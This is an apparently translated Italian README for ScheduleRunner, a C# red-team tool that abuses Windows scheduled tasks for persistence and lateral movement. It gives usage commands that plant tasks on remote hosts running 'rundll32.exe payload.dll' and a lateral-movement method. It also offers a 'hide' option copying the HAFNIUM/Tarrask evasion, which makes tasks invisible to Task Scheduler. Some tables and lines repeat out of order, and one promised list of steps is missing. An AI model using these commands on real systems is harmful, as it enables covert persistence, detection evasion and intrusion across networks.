
Uno strumento C# con maggiore flessibilità per personalizzare le attività pianificate sia per la persistenza che per il movimento laterale nelle operazioni di red team.
L'attività pianificata è una delle tecniche di attacco più popolari dell'ultimo decennio e viene ancora comunemente utilizzata da hacker/red team per persistenza e movimento laterale.
Numerosi strumenti C# sono già stati sviluppati per simulare l'attacco tramite attività pianificate. Ho sperimentato alcuni di essi, ma ognuno ha i propri limiti nella personalizzazione dell'attività pianificata. Pertanto, questo progetto mira a fornire uno strumento C# (compatibile con execute-assembly di CobaltStrike) che includa le funzionalità di cui ho bisogno e offra sufficiente flessibilità nella personalizzazione dell'attività pianificata.

| Metodo | Funzione |
|---|---|
| create | Crea una nuova attività pianificata |
| delete | Elimina un'attività pianificata esistente |
| run | Esegue un'attività pianificata esistente |
| query | Interroga i dettagli di un'attività pianificata o di tutte le attività pianificate in una cartella |
| queryfolders | Interroga tutte le sottocartelle nelle attività pianificate |
| move | Esegue movimento laterale utilizzando attività pianificate (crea, esegue ed elimina automaticamente) |
[*] sono campi obbligatori.
[*] sono campi obbligatori.
| Metodo | Funzione |
|---|---|
| [*] /taskname | Specifica il nome dell'attività pianificata |
| /folder | Specifica la cartella in cui viene memorizzata l'attività pianificata (default: \) |
| /remoteserver | Specifica il nome host o l'indirizzo IP di un computer remoto |
[*] sono campi obbligatori.
| Metodo | Funzione |
|---|---|
| /taskname | Specifica il nome dell'attività pianificata |
| /folder | Specifica la cartella in cui viene memorizzata l'attività pianificata (default: \) |
| /remoteserver | Specifica il nome host o l'indirizzo IP di un computer remoto |
[*] sono campi obbligatori.
[*] sono campi obbligatori.
Crea un'attività pianificata chiamata "Cleanup" che verrà eseguita ogni giorno alle 23:30.
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
Crea un'attività pianificata chiamata "Cleanup" che verrà eseguita ogni 4 ore su un server remoto
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
Elimina un'attività pianificata chiamata "Cleanup"
ScheduleRunner.exe /method:delete /taskname:Cleanup
Esegui un'attività pianificata chiamata "Cleanup"
ScheduleRunner.exe /method:run /taskname:Cleanup
Interroga i dettagli di un'attività pianificata chiamata "Cleanup" nella cartella "\Microsoft\Windows\CertificateServicesClient" su un server remoto
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Interroga tutte le attività pianificate in una cartella specifica "\Microsoft\Windows\CertificateServicesClient" su un server remoto
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Interroga tutte le sottocartelle nelle attività pianificate
ScheduleRunner.exe /method:queryfolders
Esegui movimento laterale utilizzando attività pianificate verso un server remoto con un account utente specifico
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
Crea un'attività pianificata chiamata "Cleanup" utilizzando la tecnica di attività pianificata nascosta:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
Elimina un'attività pianificata chiamata "Cleanup" che ha utilizzato la tecnica di attività pianificata nascosta:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
Questa tecnica è stata utilizzata dall'attore della minaccia HAFNIUM e scoperta recentemente da Microsoft. Mira a rendere l'attività pianificata non interrogabile dagli strumenti e invisibile a Task Scheduler.
Per utilizzare questa tecnica, è necessario disporre di "NT AUTHORITY/SYSTEM" e ScheduleRunner eseguirà le seguenti operazioni per te:
Per rimuovere un'attività pianificata creata con questa tecnica è necessario aggiungere "/technique:hide" nel metodo di eliminazione per rimuoverla correttamente.
L'attività continuerà a essere eseguita fino al prossimo riavvio del sistema anche se eliminata tramite registro. Pertanto, è meglio non utilizzare questa tecnica su un server per la tua operazione.

| Libreria | Link |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| Riferimento | Link |
|---|---|
| SharpPersist | https://github.com/mandiant/SharPersist |
| Tecnica di attività pianificata nascosta | https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ |
| Metodo | Funzione |
|---|
| [*] /taskname | Specifica il nome dell'attività pianificata |
| [*] /program | Specifica il programma eseguito dall'attività |
| [*] /trigger | Specifica il tipo di pianificazione. I valori validi includono: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" e "onidle" |
| /modifier | Specifica la frequenza con cui l'attività viene eseguita all'interno del suo tipo di pianificazione. Applicabile solo per tipi di pianificazione come "minute" (es., 1-1439 minuti), "hourly" (es., 1-23 ore) e "weekly" (es., lun,sab,dom) |
| /starttime | Specifica l'ora di inizio per il tipo di pianificazione giornaliera (es., 23:30) |
| /argument | Specifica l'argomento della riga di comando per il programma |
| /folder | Specifica la cartella in cui viene memorizzata l'attività pianificata (default: \) |
| /workingdir | Specifica la directory di lavoro in cui verrà eseguita l'attività pianificata |
| /author | Specifica l'autore dell'attività pianificata |
| /description | Specifica la descrizione per l'attività pianificata |
| /remoteserver | Specifica il nome host o l'indirizzo IP di un computer remoto |
| /user | Esegue l'attività con un account utente specificato |
| /technique | Specifica la tecnica di evasione: - "hide": Una tecnica utilizzata dal malware HAFNIUM che nasconde l'attività pianificata dalla query delle attività [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] Questa tecnica non supporta l'esecuzione remota a causa dei privilegi del registro remoto. Richiede "NT AUTHORITY\SYSTEM" e l'attività continuerà a essere eseguita fino al riavvio del sistema anche dopo l'eliminazione dell'attività |
| Metodo | Funzione |
|---|
| [*] /taskname | Specifica il nome dell'attività pianificata |
| /folder | Specifica la cartella in cui viene memorizzata l'attività pianificata (default: \) |
| /remoteserver | Specifica il nome host o l'indirizzo IP di un computer remoto |
| /technique | Specifica quando l'attività pianificata è stata creata utilizzando la tecnica di evasione: - "hide": Elimina l'attività pianificata che ha utilizzato la tecnica di "attività pianificata nascosta" [!] L'eliminazione richiede "NT AUTHORITY\SYSTEM" e l'attività continuerà a essere eseguita fino al riavvio del sistema anche dopo l'eliminazione dell'attività |
| Metodo | Funzione |
|---|
| [*] /taskname | Specifica il nome dell'attività pianificata |
| [*] /program | Specifica il programma che l'attività esegue |
| [*] /remoteserver | Specifica il nome host o l'indirizzo IP di un computer remoto |
| /trigger | Specifica il tipo di pianificazione. I valori validi includono: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" e "onidle" |
| /modifier | Specifica la frequenza con cui l'attività viene eseguita all'interno del suo tipo di pianificazione. Applicabile solo per tipi di pianificazione come "minute" (es., 1-1439 minuti), "hourly" (es., 1-23 ore) e "weekly" (es., lun,sab,dom) |
| /starttime | Specifica l'ora di inizio per il tipo di pianificazione giornaliera (es., 23:30) |
| /argument | Specifica l'argomento della riga di comando per il programma |
| /folder | Specifica la cartella in cui viene memorizzata l'attività pianificata (default: \) |
| /workingdir | Specifica la directory di lavoro in cui verrà eseguita l'attività pianificata |
| /author | Specifica l'autore dell'attività pianificata |
| /description | Specifica la descrizione per l'attività pianificata |
| /user | Esegue l'attività con un account utente specificato |